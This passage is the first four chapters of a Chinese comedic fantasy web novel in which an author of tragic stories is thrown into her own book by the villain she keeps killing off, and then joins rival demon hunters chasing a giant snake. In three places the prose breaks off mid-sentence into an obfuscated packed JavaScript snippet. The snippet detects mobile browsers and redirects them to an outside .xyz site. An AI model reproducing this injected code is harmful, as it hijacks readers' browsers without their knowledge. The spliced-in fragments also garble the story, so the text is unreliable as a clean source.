《我和反派有个约会》 1. 卡地呀 周日,天气阴,风卷残云。 日历上说今天宜安葬,书环自动将这句话翻译成了适合送角色上路。 即将被送走的角色名唤裴殊,是书环笔下的一个反派,因为人设过于神秘,外貌过于出众,武力过于高强,引得无数读者为之疯狂并日日询问结局。 激情开文的原作者书某一头扎进草稿堆里翻了半天,最后得出一个可怕的结论——她,还没有想好反派的结局。 不仅如此,甚至连故事的后续发展也是一件没影的事,每日更新的剧情全靠当天现编,书环深感不妙,仿佛看到了烂尾结局在跟自己招手,再联想到有读者吼着要给她寄刀片…… 于是连夜准备了几个结局,准备一一试过。 结局一:反派大仇未报,含恨死去。 结局二:反派却死于爱人之手。 结局三:反派大仇得报,但世间已再无牵挂,选了个凄美的方式下线。 …… 每一个结局都将那位反派引向了死亡。 这是书环的爱好,于她而言,越是强大的人躺在血泊里的模样越是凄美,因此她笔下每一个有实力的角色都有着一段惨痛经历,其中一半直接断送了性命。 她也因此稳坐虐文作者榜榜首。 但这个裴殊不知道是被虐过头了还是有了自我意识,每一个结局看起来都意外的不和谐,好似本人在拼命反抗。书环第五次甩开键盘后,发觉可能是自己的态度不够恭敬。 本着“灵感不够,玄学来凑”的人生理念,她选了今天这个良辰吉日,又是沐浴又是焚香,只盼望自己恭敬的态度能让这位大反派满意,选择个既符合人设也不破坏小说结构的方式下线。 谁知恭敬过了头,直接把反派本人请来了。 裴殊来时她正对着一副用毛笔画的角色图念念有词,图上是一个黑衣白发的男人,身形硬朗,神色淡漠。五官生得极俊,奈何眸色太浅,目光幽深似潭,带着一股拒人千里之外的冷漠。偏偏眉心那一裂红带着一股压抑的疯狂,二者结合在一起,构成了一个近乎活灵活现的人。 书环拿着三根毛笔当香,虔诚道:“裴汀州啊裴汀州,选一个你喜欢的结局吧!” 然后她就看见一只手越过她的肩膀拿起了放在桌面上的纸,上面写着反派裴殊的花式死法。 那只手手掌宽大,骨节分明,皮肤透露着一种常年不见阳光的白。书环的腿一下子就软了,她多半撞鬼了。 身后没有动静,书环咬咬唇,心存侥幸道万一是哪个读者找上门了呢?她那些读者天天嚷嚷着要给她寄刀片,诅咒她穿书,扮鬼吓她也不是没有可能的事。 于是她攥起一只毛笔转过身去,心想如果来的是个坏人就用毛笔戳他眼珠子,怎料看见的却是一片黑色的衣角。 宽大的黑袍,不似现代人的装束,往上一只手拿着的草稿纸遮住了面容,似乎察觉到了她的视线,来人将手缓缓放下,居高临下的望着她,一头白发随风而动。 乍然对上灰色眼眸的那一刻,书环脑子嗡的一下就麻了,仿佛跟这个世界隔绝开,须臾,她反手抓过桌上供着的那张人设图,同面前这个男人对比了起来。 白发,眉心一道红,灰色的眼瞳…… 越对比她越觉得心惊,这不就是裴殊吗!与此同时一种难以言喻的激动也从心底慢慢浮起,她竟然见到了自己笔下的角色,这是她从未设想过的画面! 窗外突然刮进一阵大风,那张写满裴殊死法的草稿纸哗啦哗啦的响了起来,提醒着两人它的存在。 书环像一盆烧得正旺时被水浇灭的炭火,怯生生的看了裴殊两眼,解释道:“那个……这些只是预设的结局,不做数的。” “你想说什么?” 裴殊开了口,面色冰冷,嗓音更甚。 这态度在书环的意料之中,试问谁见到关于自己的十八种死法时能不生气? 她露出一个十分友好的笑容。 “我想说的是,如果这些结局你都不喜欢,我们可以一起商议写点别的,比如你大仇得报,同心爱的人过上了隐居山林的生活,唔……如果你不喜欢隐居山林的话,游历四海也可以。” 书环自觉语气诚恳,给出的条件也十分诱人,岂料裴殊忽然一把掐住她的脖子,突如其来的窒息感让她不得不攥紧对方的手。 “有什么不满意……我都可以改……的……” 裴殊通过那张纸和画大致确定了自己与眼前之人的关系,他慢慢将手收紧:“你是不是觉得……一切都在你的掌控之中?” 书环:“不然?” 作者不是她吗? “我说真的,你难道不想体验一下幸福美满的日子吗?同爱人携手赏月看花,亦或是游山玩水,又或是换个地方换个身份当个普通人,无论哪种生活方式都值得期待,人生这么长,没必要因为过往的悲惨经历放弃未来啊!” 书环说了一大堆,只换来了大反派的三个字:“我不想。” “哦,那你掐死我吧!” 她把脖子往前一送,闭着眼不动了。费劲巴拉说了半天,结果这人不为所动,真以为能威胁她呢! 书环没别的本事,但向来擅长接受各种困境,并不觉得死亡是一件恐怖的事,甚至还有一丝莫名的雀跃,死在自己写的角色手下,似乎带上了一些艺术性的宿命感。 裴殊静默的看着眼前这人,美丽的皮囊下是一颗狠辣的心脏,惊慌失措后是面对死亡的坦然,如此怪异,真真是世间少见。他下意识的挥手,一道裂缝凭空出现,巨大的风浪从中席卷而出,将她平静的外表撕开一道裂缝。 书环两眼一瞪,这是什么鬼?粉碎黑洞吗? 她虽然不怕死,但怕折磨啊! 此时认命……是不是有些太早了? 她还要再抢救一下。 “等一下!” 两人的头发被风绞在一起,黑白交杂,如同她第一次写下裴殊这个名字时起两人就已注定的命运。一片凌乱中,那道裂缝缓缓张开,露出一片混沌。 裴殊没有给她多说的机会,扬臂一扔,黑白两色的头发交缠又拉紧,最后被迫分开,带着一股拉扯的痛消失在了混沌中。 从此网文界少了一位虐文作者,而穿书界则多了一位被迫穿书人。 …… 被迫穿书人书环的出场方式十分酷炫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419210|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她如同流星般划过蔚蓝的天空,伴着尖叫声和火星一头砸向地面,砸开泥土,砸碎硬石,最后一头撞在岩层上,发出剧烈的轰隆声,这场莫名其妙的撞击才堪堪停止。 待尘土落尽后,坑底的人影有了动作,她抬了抬手臂,紧跟着腿也弯了弯,又摸了摸脖子,最后在坑底摆了一个双手撑地双脚蹬地的姿势。 没错,她的脑袋卡地里了! 书环对此见怪不怪。 她从小就倒霉。 别人投胎都往有钱人家里投,她一个劲的钻穷窝。同龄人在享受父母疼爱,她在当留守儿童;同龄人有穿不完的公主裙,她有数不尽的旧衣服;同龄人在快乐成长,她在学做家务,长辈名言:做不好这些,以后嫁出去是会被打的。 总而言之,这是一个既没有爱也没有钱的家庭。 书环自小便被迫肩负起了带领全家人过上好日子的责任,压抑的生活中还穿插着一些大大小小的倒霉事件:诸如考试前一天摔伤腿,出门看花被疯狗追,捡到□□掉了真钱…… 本以为日常的悲惨便已经是极限,不料到了上大学的年纪,命运的重拳再次落向她。父亲以要养同父异母的弟弟为由断掉了学费和生活费,妄图以此逼她外出打工补贴家用,书环一边贷款一边兼职,这才连拖带拽才过完大学四年。 大学一毕业,父亲便挂上了虚伪的笑容,晓之以情动之以理,说要替她保管工资。 书环跑了。 跑得很利索。 换了新的联系方式和环境,那时的心情仿佛初夏时窗外林间洒落下的阳光,带着一股生机勃勃的意味。 但命运没有眷顾这个坚强的可怜蛋。 书环在两个月后确诊了严重的心理疾病,身体仿佛被抽干了力气,终日只能躺在床上,郁郁的望向窗外。绿茵翻滚,阳光正好,但这些都和她没有关系。 一切都只因她在下班路上撞见一对母女,年轻的妈妈牵着年幼的女儿,对她说我希望你无忧无虑的过完这一生。 于是多年积攒下的痛苦在这一刻集中爆发了。 情绪稳定后,书环辞去了原来的工作,她的思维变得迟钝,记忆也日渐衰退,再难从事高强度的工作。 崩溃混乱的情绪需要发泄,于是书环找了个能维持生活的兼职,转而拿起了数年前放下的笔。 爱上创作是在十岁那年,彼时未经世事的她灵气四溢,天马行空的想象间隔数年依旧能撼动她的心。 在写倒闭了好几个小说网站后,书环的创作之路终于迎来了曙光,名利像流水一样滔滔不绝的奔驰而来,可惜好日子还没过多久,她就被自己笔下的反派一把薅进了书里。 唯一值得庆幸的是多年的凄惨经历造就了她处事不惊的性格,好比此刻脑袋卡在了地里,她依旧不慌不忙的拔出,被惯性带着在地上滚几圈,最后选了个十分惬意的姿势躺在地上,感慨道: “真是个好天气啊!” 澄澈的蓝蔓延无际,丛生的绿泛着新意,阳光如同她逃离那天一般暖洋洋的倾泻而下。 真的是个好天气。 原作者书某握了握拳,誓要征服这个自己笔下的世界。 2. 好搭子就是要一起瘸腿 征服这个世界的第一步,是先从这个深坑中爬出去, 书环吐掉嘴里不存在的狗尾巴草,一骨碌从地上爬起来,低头一看,自己身穿一袭绿色交领长裙,头发很长,垂坠至腰间,头上别着一支木簪,因为先前滚动已经歪了。除此之外腰间还坠着一只青玉笔,正是她之前攥在手里那只。 书环十分满意的竖了个大拇指。 不愧是她写的小说,居然会给穿书的人搭配衣服,实在是太人性化啦! 她正了正歪斜的簪子,一撸袖子开始往上爬。 坑炸得很大,一脚下去全是松软的泥土,偶尔还混着大小不一的石头,稍有不慎就会滚回坑底。 好在她是个学习能力极强的人,滚落十多次后成功掌握了精髓,又一次奋力往上,她双手一撑,成功回到地面。 顾不上高兴,拍拍手上的泥土遮眼一看,方圆数里都是绵延不绝的山峰,高耸入云,近处山脚下有一片密林,深幽静谧。 书环看完后只有一个念头:到底是哪里出了错?为什么自己的穿书和别人的穿书不一样? 她简直不敢相信自己看到的一切,更不敢想象自己该怎么活下去,只得强行安慰自己,天无绝人之路,纵使到了这种地方,她也……她也可能只有死路一条。 她沮丧的四处张望,这一望还真看出点不一样来,就在坑的不远处,一条林间小道被荒草掩埋了大半,几乎看不出原来的样子,或许顺着路走,就可以遇见人家。 还没来得及动身,地面突然震动起来,她俯身在地倾听,震感随着时间的推移还在加剧。 不是地震,有什么东西在靠近! 书环立马起身,可惜晚了一步。 眼前紧密的荆棘林被一颗巨大的蛇头扑开,像野草般无力的倒向两旁。 书环双腿打颤,眼睁睁看着巨蛇从她头顶越过,浓郁的腥臭扑面而来,覆盖了所有感官,厚重的蛇尾砰的落在地上,打出一道深深的沟,摆动间将她扫回了坑底。 巨大的蛇影遮住了她的身躯,转瞬间便消失。 书环:“……” 捉妖文果然暗藏惊喜。 原作者穿书的劣势此刻便体现出来了,别的穿越者遇到挫折还能骂骂作者,而她只能打落牙齿活血吞。 费了一番功夫爬回地面,一口气都还没喘顺,林中又响起一片踏空声。 书环:“……” 人至少不能倒霉到这种程度。 当密林中窜出个浑身挂满烂布条的人,而她恰好闪身躲过时,她确实是这样想的。 但当前方又窜出两团人的时候,书环觉得自己还是太天真了。 淡雅那团为首的是个清冷俊雅的女子,她手执一柄长剑,长发随风蜿蜒,书环仰头望着这个宛若画中仙的女子,时光在此刻流得轻缓,她得以看清了她的容貌、她飘逸的长发、她面上一闪而过的惊讶、以及她尽力避开自己的动作。 还未感慨,后面那团花里胡哨的人见她们避开误以为有机可乘,于是加快速度窜了上来。 毫无疑问,书环又被撞飞了。 落回坑底前她听到有人问:“少主,我们好像撞飞一个人。” 那人道:“无妨,事后回来赔礼道歉即可,当务之急是不能让无端门的人捉到那只蛇妖!” 说完带着人咻咻咻飞走了。 书环躺在坑底,迟钝的大脑缓慢思考了一下:无端门,花里胡哨的一群人,少主,还有大蛇。 这不是故事开始,男女主奉旨捉蛇妖的剧情吗! 闹了半天,自己被反派扔到故事开头来了。 果然是柳暗花明又一村呐! 前脚刚得罪反派,后脚就遇上了男女主,她命不该绝! 书环一个鲤鱼打挺翻了起来,经验十足的从坑底爬起,刚一露头就听见荆棘丛里传出动静,她下意识往坑里一缩。 想象中飞窜出人和蛇的场景并未出现,书环等了两分钟,看见一个风流倜傥的男子杵着根拐杖从荆棘丛里一瘸一拐的走了出来。 视线对上那一刻,他拐杖都被吓掉了。 “什么人?竟敢潜藏于此,有何居心?” 他刷的一下抖开了扇子,发现扇面破了一大洞,又旁若无人的收起来。 书环:“……” 来人姿容俊秀,气度清扬,手执一柄折扇,腰上别着玉笛,站姿随意,浑身上下写满了放荡不羁四个字。 这是出场的第三个重要角色——女主师弟兰驿。 书环犹如见了老朋友,面上尽是压抑不住的喜色,她人刚从坑边翻起,兰驿却像是见了什么怪物般大退一步。 “哇!好重的执念!” 书环一头雾水的朝后看去:“什么执念?” 兰驿见她面色做不得假,从怀里掏了面铜镜立在她脸前。澄净镜面上是张熟悉的脸庞,唯一不同的是眉心多了道白痕。 “不世咒,滔天执念所化,执念不解,中咒者不入轮回,此咒既可由己而生,又能由他人所种,姑娘,你是哪一种?” 这段说的极有节奏感,书环听完后心都凉了半截,当初在设计裴殊这个角色时,她给其眉心添了一缕红,并取了个名字叫不世咒,此举既增添了反派的魅力,又丰富了反派人设的厚度。当时她狠狠夸了一番自己写的这个设定,怎料有着一日会落到自己身上来。 此咒是同裴殊接触后才有的,应当是裴殊的执念。 “他人的执念……应当怎么化解。” “这个简单,让所生执念之人不再执着于执着之事便可解!” 书环:“……” 她身子一软,直接朝后倒去,兰驿手疾眼快的将人拉住,接着道:“执念非一日一事能成,若要化解,需得刨根问底,找出根源,或劝说或弥补。” “听起来比修炼成仙还难。” “没错,要不然我一开始的时候怎么会这么惊讶呢,毕竟我这辈子见过身中不世咒的人,”他竖起三根手指,“不超过三个。” 书环直起身,拿着铜镜不死心的看了看,那道白痕修长,仿佛是有人用力镌刻而下。她痛呼一声,兰驿摇着扇子安慰道:“别太灰心,此咒虽难解,却也不是全无希望,我师姐乃是闻名整个玄道的天才,那个姓谢的虽然人品不怎么样,于咒术一道上却十分有天赋,找他俩,准没错!” 书环重新燃起了希望,是的,她写了两个很厉害的主角,如今是时候去抱大腿了。 见她重燃斗志,兰驿满意的点了点头,这才想起问她的来历。 书环编起故事来眼珠子都不带转的,眨眼睛便想好了说辞: “我是个写话本的,出来寻写诡异的事当素材,怎料一时不查被一群穿得花里胡哨的人撞进了坑底,遇到你时刚爬起来。” 原书男女主所在的师门是上百年的死对头,以书环对兰驿这个角色的了解,他定会抓住这个机会好好讹谢归川他们一笔。 果然,兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419211|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驿眼睛一亮,摇着破了洞的扇子道:“真是岂有此理!撞了人竟一走了之,明月楼的作风越来越不像话了!姑娘,如果你信得过我的话,在下这就带你去讨个公道!” …… 世说蛇妖,善魅性淫,化人貌美。在民间故事中多以反面形象出现。 被当今两大捉妖门派同时追杀的这只却有所不同,其大如木桶,鳞白,长约七引,头生小角,双目金黄。 半月前突然现世,与一条南边来的巨蛇在城内缠斗,砸毁民屋数百间。 打斗结束后南边来的巨蛇凭空消失,余下那条逃窜去了北边。皇城司的人在一片废墟中发现了一处地穴,因其不见阳光,蛇皮足足积累了三尺厚。 此等巨蛇若现世定会有记载,司命宫的人连夜翻阅典籍,终于在一本太祖皇帝在位时期写下的杂记里找到了零星记录。 太祖皇帝继位前曾有一巨蛇入京,后遍寻不见其踪。 除却当时的身形稍小外,其余的特征都和逃窜而去的巨蛇对上了。 司命宫的人认为此乃凶兆,于是皇帝一道圣旨宣下,两大捉妖门派同时出手。 这是小说里关于追杀蛇妖前景提要,但书环依稀记得自己好像埋了个小小的伏笔。 “兰公子,我们能走快点吗?万一他们打完了走了呢?” 书环杵着根粗糙的木棍,一瘸一拐的走在兰驿旁边,兰驿瘸右腿,她瘸左腿,偏偏两人走路时迈的腿还不一样,这就使得场面十分滑稽。 两人在路上已交换了姓名爱好以及人生追求,兰驿对这位“瘸友”的观感不错,不仅帮她削了一根临时拐杖,还特别好心的同她解释:“我们无端门都跟明月楼斗了上百年了,对他们的实力非常了解,如此短的时间内,明月楼的人是不可能抢先一步捉到蛇妖的。” 书环佯装惊讶:“真的吗?可是万一他们要是趁你不在打无端门的人一个措手不及怎么办?” 兰驿神色凝重地看了她一眼,把拐杖往地上狠狠一杵。 书环深吸一口气,心道兰驿这人果然经不住捧,这就要放大招了。然后就看见兰驿一手握拐杖一手拉她,一个瘸子拽着另一个瘸子在路上一瘸一拐跑得飞快。 书环:“……” 不靠谱。 非常的不靠谱! 兰驿拽着她到了山脚下,一片开阔的空地上,一群人分做两派,共同挟制着一条巨蛇。 书环对蛇有着天热的恐惧,见状狠狠吸了一口冷气,随即便见兰驿把头凑过来故作高深道:“这位姑娘,准备好了吗?” “……” 她顿感不妙。 “你想干嘛?” 他潇洒的一挥袖,单手揽住她肩膀。 “当然是选一个让他们永生难忘的姿势入场啊!” 说完带着她一跃而起—— 书环看见众人齐齐转头。 兰驿摆了个潇洒的姿势。 书环看见了众人诧异的目光。 兰驿丝毫没有调整落地角度的打算。 书环看见了巨蛇狰狞的面孔。 兰驿带着书环成功坠地。 一阵惊呼翻腾后,她透过未落定的尘土看见了巨蛇逃窜而去的背影。 她看向脸着地的兰驿,不确定道:“那个……瘸腿搭子,我们好像闯祸了?” 对方一抬头,拍了拍脸上的土,随地摆了个惬意半躺的姿势,这才肯定道:“不是好像,我们就是闯祸了!” 3. 穿书大冒险 书环:“……” 所有的无语和对写出这个角色的悔恨都尽数省略于此。 她在地上趴了一会,确定自己有足够面对现实的勇气后才抬头,这一抬,便看见两位容色出众,见之难忘的佳人。 男主谢归川出身明月楼,是下一任楼主,虽身居高位,但性格温和,上至长老,下至普通百姓,都能与其畅谈,加之其容貌绝世,历来为人们所称赞。 与之相反的是无端门地宗的少宗主莫临江,其十余岁时才拜入无端门下,凭着惊人的天赋力压人宗少宗主白石湫,同样是容色出众,她的脾性却与谢归川截然相反,如果说谢归川是春日的风,那她便是冬日的雪,冷得出奇,为此还有人怀疑过她与其师鹤非白的关系,原因竟是两人的性格太过相似。 此时两人的反应也十分符合他们的脾性。 谢归川摇着一柄透红折扇,踩着满地的符阵残骸施施然走了过来,笑声如微风抚过草尖般清浅。 “莫少宗主的这位师弟,行事风格还真是与众不同。” 兰驿噌的一下就从地上弹起。 “姓谢的!你想骂我就直说!干嘛阴阳怪气?” 书环闭眼。 二人相对而立,虽身形相似,但气度却是万万不同。谢归川贵气逼人,穿着讲究,一举一动都极富美感,比起捉妖师,他反而更像是一位养尊处优的贵公子。 反观兰驿,他站姿随意,穿衣打扮跟讲究没法沾边,一把破了洞的扇子挥的呼呼生风,怎么看怎么像江湖人。 谢归川呀了一声,莞尔一笑:“兰道君误会了,在下并无诋毁你的意思。” 兰驿很是讨厌他这副矫揉造作的模样。 “谢少主真是奇怪,平时装得一副慈悲模样,做的怎么却是丧尽天良的恶事?” “兰驿,慎言。” 人群闻声自动分出一条道,莫临江从中走了出来,她身形极高,风骨清逸,气质庄严沉静,行走间有如仙人在世,垂目悲悯,抬眼杀伐。 兰驿抱着手臂。 “师姐,我可没有胡说,先前我同蛇妖缠斗受了伤,因此一直落在最后,途径一个大坑时遇到了这位书环姑娘,她被明月楼的一行人撞进了坑底,我发现的时候她正躺在下面,浑身上下只有一双眼珠子能动,多么可怜啊!” 书环:“……” 兰驿摇着扇子,痛心疾首的看向对面:“就是这群人,嘴上说着大义,结果撞完人一走了之,如果不是恰好遇见我,她肯定熬不过今晚!” 说完拽着书环走了一圈,向每个人展示她受伤的腿。 书环:“……” 她咬牙切齿低声道:“你才熬不过今晚!” 兰驿以扇掩面做抽泣状。 “配合一下,咱们好好讹他一笔!” 于是书环不动了。 她尽职尽责的当一个瘸子,兰驿则继续语言攻击。 “佛口蛇心表里不一道貌岸然两面三刀……” 谢归川正色道:“此事是我疏忽了,当时急于捉妖,本想结束后再去找姑娘赔罪。” 兰驿小声嘀咕道:“等你们捉完妖,人都不知道死哪去了,怎么找。” 莫临江道:“师弟口无遮拦,谢少主见谅。” 谢归川笑得委婉:“自然,伤了人是我们不对,书环姑娘,不如……” 山中突然传出一道剧烈的震动,书环对此再熟悉不过了,那条巨蛇的尾巴打在地面上时便是这种动静。 如此说来,巨蛇入山后出了意外。 众人脸色一变,莫临江和谢归川率先动身,一个跃上一处地势较高的小山坡,一个掐起手指来。 这场面,像极了一个在看风景,一个在玩手指。 实则不然。 莫临江所行之事名曰观形望气,无端门以阵法立门,而布阵之道免不了同山势地形打交道,时间一久,便在研究山河气运一事上独领风骚。 《万妖经》上说,大山多藏气运,时间久了便会滋生妖灵,需观形望气辩其好坏。 而谢归川所用的推衍之术,乃是明月楼的先祖见无端门将观形望气研究得出神入化后,游历苦思数十年编纂出的。 莫临江驻足眺望良久,一跃而下道: “此山形蛇,尾朝西,头东临水,已成气候。” 谢归川负手道:“两蛇相争,一死一伤。” 至于死的是哪条蛇,谢归川没说,莫临江也没问。两人都有自己的思量,捉蛇是当今圣上给的任务,两宗屹立世间数百年,虽不主动讨好权贵,却也不会与皇族交恶,所以当那卷圣旨递到门内之时,两派不约而同的派出了各自培养的接班人,为的便是顺利捉蛇复命。 事出紧急,两人准备带着随行捉妖师进山,无端门行事极为迅捷,十余人飞快的排列,明月楼的人也不遑多让。 于是又一轮争锋开始了。 两群人放着现成的路不走,非得在空中争个先后。 兰驿拎着书环夹在中间,不是躲这人踢来的一脚,就是避开那人挥来的一拳,更有甚者还拿臭袜子做武器。 书环顺势望过去,发现是明月楼那个穿得破破烂烂的人。 “这也太不文明了吧!” 兰驿一脸嫌弃:“明月楼的人向来野蛮!” 话刚说完,另一只臭袜子也朝他扔了过来。 他大怒道:“歪七你活腻了是吧!” 那人一扯嘴角:“敢骂我,还想吃臭袜子?”说着从兜里掏出一大把。 兰驿:“何苦来哉!你哪来那么多臭袜子?” “专门攒下来对付你们这群伪君子的!看招!” “别别别!救命啊!” “呕——什么鬼!呕——” “疯了吧你们明月楼!呕呕呕——臭死了!” 书环夹在一群人中间,逃也逃不掉,躲也躲不过,一路下来被熏得几乎神智全无,深刻体验了一下什么叫做搬起石头砸自己的脚。 *** 众人落在一片竹林中。 方一落地,落叶堆积的腐味便裹挟着一股腥臭扑面而来。 此处约莫刚经历一场恶战,竹子横七竖八的倒在地上,地面沟壑遍布。 莫临江从地上捻起一点深红色的土,面无表情的嗅了嗅。 “蛇血。” 她顺着地上的血迹望向前方大片倒伏的竹林,谢归川也明显注意到了那边,书环捂着口鼻,目光追随两道剑光杀至竹堆前。 倒伏的竹子被斩得细碎,竹叶四溅,其下只有厚厚的落叶,全然不见蛇的踪影。 如此几番后,林中大片倒伏的竹子都化作了碎节,蛇妖却依旧不见踪影。 “难道是遁走了?不应该啊?没有逃走的踪迹啊!” 书环看着兰驿取出一张符纸,面朝四个方向转了一圈后,符纸直接自燃了。 “师姐,寻妖符没用!” 莫临江垂眸道:“不是寻妖符没用,而是它们藏得太好了。” 她单指推开一寸剑鞘,露出一截莹白通透的剑身,寒气倾泻而出。 书环第一时间想起了这把剑。 为了贴合人物,她给莫临江佩剑的设定与霜雪有关,出窍时会溢出寒气,挥剑能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419212|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝冰结霜。此乃本书的重要道具之一——青山白! 她还在感慨此剑的颜值,另一边谢归川一展手中折扇,透红色的扇骨仿佛在迷雾中缓慢的流动起来,从排口处滴落一抹红,红珠径直坠下,在落地前化作了一朵梧桐花。 万千桐花破土而出,裹挟着冰霜,硬生生在地面撕开了一道口子,裂纹蔓延开来,大片大片的竹林往下掉,露出了下方天坑般的洞穴。 看清了巨坑中的景象后,书环顿时狂冒冷汗。 难怪方才众人找不到蛇妖的踪迹,原来这片竹林下方早已被它挖空做了巢穴,只余一层供人行走和竹子生长的土,用以掩盖它那成千上万的子孙。 无数条蛇在坑底交缠翻滚,目光贪婪的望向众人,一条翠绿的巨蛇绞着一条白蛇,见状尾巴一松,白蛇尸体无力往下滚了几圈,被蛇浪淹没。 莫临江突然低喝一声:“退!” 为时已晚。 巨蛇尾巴一扫,周围薄薄的土层紧跟着往下掉,书环只觉脖子一紧,兰驿尚未提着她跃起,地面便往后一倾。 “啊啊啊啊啊!” 她发出有生以来最痛苦的嚎叫。 下面全是蛇啊! 蛇! 她哪根筋不对要写蛇妖!写就算了还写这么多小的! 悔不当初啊! 书环重重的坠地,想象中滑腻冰冷的蛇浪没有覆来,反倒是一朵大大的梧桐花接住了她。 连忙起身一看,只见众人都从梧桐花上翻起身,莫临江一剑斩去,无数小蛇化为断节,巨蛇一怒,吐着腥臭的蛇形朝她袭来,莫临江借势一跃,将巨蛇引去了远处。 谢归川再度挥扇,无数硕大的梧桐花呈阶梯式绽放。 兰驿咬牙:“有仙器就是了不起!” 说完扬臂一扔,将尚在发抖的书环扔了上去,紧跟其后帮忙处理攀上来的小蛇。 众捉妖师经历过最初的慌乱后都渐渐冷静下来,他们不似莫临江和谢归川那般有高深的修为,于是纷纷摆出阵型,拿着法器符箓就是一顿炸。 书环爬到一半,一条蛇被炸飞到她身前,在花心翻滚几圈后一口咬向她的脖颈,书环往旁一倒避了过去,不料梧桐花却在此时摇晃起来,她本就半躺着,这一晃直接将人晃了下去,若非她眼疾手快攀住了边缘,此刻定已葬身蛇海。 “瘸腿搭子!” 兰驿探头一看,梧桐花的根茎周围缠满了蛇,正奋力摇晃着这朵梧桐花,书环在空中荡来荡去,手指一点一点往下滑。 “谢归川怎么回事?行不行啊?” 他甩出几张符箓炸飞蛇堆,一跃而前将书环拉了起来。 两人回头一看,谢归川以扇掩面,衣襟上落了血。 巨蛇一口吞下许多小蛇,目光一冽。 见状,他抹去嘴角血迹,似是怜悯道:“同类相食,何其残忍啊!” “疯了!它在吞噬幼蛇增长功力,难怪谢归川会受伤,我们快走!” 两人一瘸一蹦的跃上地面,俯身一看,坑底的蛇已经少了一半,巨蛇咽下一口,回首一尾扫向莫临江,这一尾的威力比之前大了许多,连带着地面都在震。 书环的目光落在白蛇的尸体上。 她问兰驿:“蛇妖若是吞噬了白蛇的尸体会修为大增吗?” “当然。” 两人对视一眼,若是记载无误,这条白蛇最少有三百年的修为了,若真被青蛇吞下,她们就算能走出这片竹林也得丢掉半条命。 书环打了个响指,放缓呼吸道:“搭子,敢不敢干票大的?” 兰驿:“哈?” 4. 天外来邪物 两人绕到另一边,白蛇尸体就在下方,兰驿估摸了一下高度,从袖子里掏出一捆细细的白绳,又摸出一叠黄纸裁的小人。 “你袖子也太能装了。” 兰驿解释道:“出门在外背的东西太多了会影响风度,乾坤袖,捉妖大师必备精品!” 说完将纸人并排摆开,食指中指一并,凭空画出数道符文打入纸人体内。薄薄的黄纸人仿佛有了生命,摇摇晃晃的站起身,拉起绳子的一端轻飘飘地跳下巨坑。 书环探头一看,只见纸人扛着十余根细绳均匀的栓在了白蛇的尸体上,手脚并用打了个死结。 兰驿见状打了个响指,脚边站着的一群纸人应声而动,抓住绳子奋力往上拉,嘴里还不住的喊着口号:“嘿咻!嘿咻!嘿咻!” 这般大的动静自然瞒不过明月楼众人,接连几人想要上前破坏都被无端门的捉妖师挡了回来,谢归川正和莫临江共同围杀那条青蛇,见状一挥扇,数朵桐花飞射向绑着白蛇的细绳,尚未靠近便被几道剑光挨个打了下来。 两人对视一眼,一语不发的继续出招。 杀蛇,夺蛇尸,一时间各种暗器术法层出不穷,书环看得眼花缭乱。随着纸人放慢了声调的一声“嘿咻”,蛇尸被完好无缺的拖了上来,随着惯性滚到两人脚边才停住,一堆纸人扶着鳞片呼呼喘着粗气。 那边莫临江见蛇尸已被拉上岸,手中剑锋一转,一道空前绝后的凌厉剑气斩向青蛇。 谢归川见状将手中折扇一翻,不过这次扇出的不是桐花,而是红得艳丽的凰火。 蛇浪翻滚,口中惨叫刺耳锥心。 火势渐旺,蛇尸被烧得噼里啪啦做响,一股难闻的气味弥漫开来,兰驿将蛇尸从头到尾检查了个遍,挥着那把破扇子道: “哎!要带着蛇尸回京复命去了,真是舍不得明月楼的诸位啊!” 他语气欠欠的,书环担心挨打,偷偷往旁边挪了挪。 一群人从坑底爬了起来,歪七穿着那身破破烂烂沾满血渍的衣服往他面前一站:“不是还没回京城吗?兰道君是否高兴得有些过早了?” 兰驿被熏得一抽:“哇!师姐他们想抢蛇尸,真是好不要脸!” 莫临江擦着剑,闻言看了谢归川一眼。 对方眉眼一弯,凤凰泣在鼻梁上轻轻的敲了两下,把尾音敲得有些碎。 “临走前楼中长老千叮咛万嘱咐,一定要捉到蛇妖,长辈之命,归川难以违抗,莫少宗主见谅!” 说完手一抬,几个明月楼的捉妖师拿着法器绕到了无端门众人的后方,呈包围状将无端门一行人困在中间,威胁道: “识相的就把蛇尸交出来,不然小爷把你打得哇哇叫!” 兰驿感慨:“如此熟练,平日定没少干这种事!” 书环点头,这群人确实比较混账。 无端门的人尝试反击:“你!” 被明月楼的人毫不留情的骂了回去:“你什么你?再敢反驳一句,等会第一个打的就是你!” 